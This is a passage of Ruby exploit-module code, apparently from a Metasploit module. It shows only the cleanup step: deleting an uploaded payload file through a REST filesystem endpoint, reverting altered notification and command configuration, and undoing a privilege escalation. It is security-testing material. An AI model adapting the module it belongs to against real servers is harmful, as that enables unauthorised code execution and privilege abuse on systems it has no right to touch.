return  
end  
  
# Delete the payload file  
if @payload_file_name.present? && @payload_written  
res = send_request_cgi({  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),  
'vars_get' => { 'f' => @payload_file_name },  
'keep_cookies' => true  
})  
  
unless res  
print_error("Connection failed while attempting to delete the payload file #{@payload_file_name}. Manual cleanup is required.")  
return  
end  
  
unless res.code == 200 && res.body.include?('Successfully deleted')  
print_error("Failed to delete the payload file #{@payload_file_name}. Manual cleanup is required.")  
return  
end  
  
vprint_good("Successfully deleted the payload file #{@payload_file_name}")  
end  
  
# Delete the notification  
revert_xml_config_file(notifications_file, 'notifications', 'notification', @notification_name) if @notification_name.present?  
  
# Delete the destination path  
revert_xml_config_file(destination_paths_file, 'destinationPaths', 'path', @destination_path_name) if @destination_path_name.present?  
  
# Delete the notification command  
revert_xml_config_file(notification_commands_file, 'notification-commands', 'command', @notification_command_name) if @notification_command_name.present?  
  
# Update the configuration changes we made  
success, message = update_configuration('cleanup')  
if success  
vprint_status(message)  
else  
print_error(message)  
end  
  
# Revert the privilege escalation if necessary  
if @role_to_add.present?  
success, message = escalate_or_deescalate_privs(deescalate: true)  
if success  
vprint_status(message)  
else  
print_error(message)  
end  
end  
end  
end